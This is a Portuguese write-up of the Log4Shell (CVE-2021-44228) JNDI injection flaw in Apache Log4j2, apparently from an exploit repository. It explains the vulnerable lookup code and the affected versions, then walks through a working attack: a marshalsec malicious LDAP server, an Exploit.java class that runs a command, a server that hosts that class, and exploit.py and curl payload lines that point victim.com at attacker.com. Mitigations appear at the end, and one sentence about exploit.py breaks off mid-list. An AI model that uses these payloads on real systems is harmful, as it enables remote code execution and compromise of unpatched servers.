
CVE-2021-44228 Log4Shell - Apache Log4j2 JNDI Injection RCE
CVSS 10.0 CRÍTICO | CWE-502: Desserialização de Dados Não Confiáveis | CWE-917: Neutralização Impropriada para Injeção de Expression Language
O Log4Shell (CVE-2021-44228) é possivelmente a vulnerabilidade mais grave da década de 2020, afetando o Apache Log4j2 nas versões 2.0 até 2.14.1. Descoberta por Chen Zhaojun da Alibaba Cloud Security em novembro de 2021 e divulgada publicamente em 9 de dezembro de 2021, ela permite execução remota de código não autenticada em centenas de milhões de servidores em todo o mundo.
A vulnerabilidade surge do recurso de lookup JNDI (Java Naming and Directory Interface) do Log4j2, que permite strings de lookup arbitrárias como ${jndi:ldap://attacker.com/a} em mensagens de log. Quando uma string controlada pelo usuário contendo tal padrão é registrada, o Log4j2 realiza o lookup JNDI, que pode carregar e executar classes Java remotas.
O Log4j2 introduziu um recurso chamado "Message Lookup" que substitui padrões ${...} em mensagens de log por valores de diversas fontes (JNDI, variáveis de ambiente, propriedades do sistema, etc.). A classe () chama em strings controladas pelo atacante sem sanitização adequada.
JndiLookuporg.apache.logging.log4j.core.lookup.JndiLookupInitialContext.lookup()// Vulnerable code in JndiLookup.java
public String lookup(LogEvent event, String key) {
if (key == null) {
return null;
}
try {
// Directly passes attacker-controlled key to JNDI lookup
return JndiManager.getJndiManager().lookup(key);
} catch (...
O método lookup() delega para javax.naming.InitialContext.lookup(), que pode carregar objetos remotos de servidores LDAP, RMI, DNS ou CORBA.
1. Atacante cria payload: ${jndi:ldap://attacker.com/a}
2. O payload entra no contexto da aplicação (cabeçalho HTTP, entrada do usuário, etc.)
3. A aplicação registra o payload (ex.: via logging de requisições)
4. O Log4j2 processa o padrão ${...} e chama o JndiLookup
5. O lookup JNDI consulta o servidor LDAP controlado pelo atacante
6. O servidor LDAP responde com uma Reference apontando para a classe Java do atacante
7. O Log4j2 / JVM busca e carrega a classe remota
8. A classe do atacante executa código arbitrário na JVM da aplicação
| Versão | Status |
|---|---|
| Log4j 2.0 – 2.14.1 | Vulnerável |
| Log4j 2.15.0-rc1 | Correção parcial (bypass CVE-2021-45046) |
| Log4j 2.15.0 | Correção limitada (JNDI desabilitado por padrão, lookups limitados) |
| Log4j 2.16.0 | JNDI desabilitado, Message Lookups removidos |
| Log4j 2.17.0 | Correção final para 2.x (CVE-2021-44832) |
| Log4j 1.x | Não afetado diretamente (base de código diferente) |
Use o marshalsec para iniciar um servidor LDAP malicioso:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389
// Exploit.java
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}
javac Exploit.java
python3 -m http.server 80 # Serve Exploit.class
python exploit.py --target http://victim.com --payload '${jndi:ldap://attacker.com:1389/Exploit}'
Ou via cabeçalho HTTP:
curl -H 'User-Agent: ${jndi:ldap://attacker.com:1389/Exploit}' http://victim.com
O exploit.py incluído fornece:
| Abordagem | Detalhes |
|---|---|
| Atualizar o Log4j | Atualizar para 2.17.0+ (2.x) ou 2.12.4+ (Java 7) |
| Flag da JVM | -Dlog4j2.formatMsgNoLookups=true |
| Remover JndiLookup | zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class |
| Regras de WAF | Bloquear padrões ${jndi: em requisições |
| Controles de Rede | Bloquear LDAP/RMI de saída para servidores não confiáveis |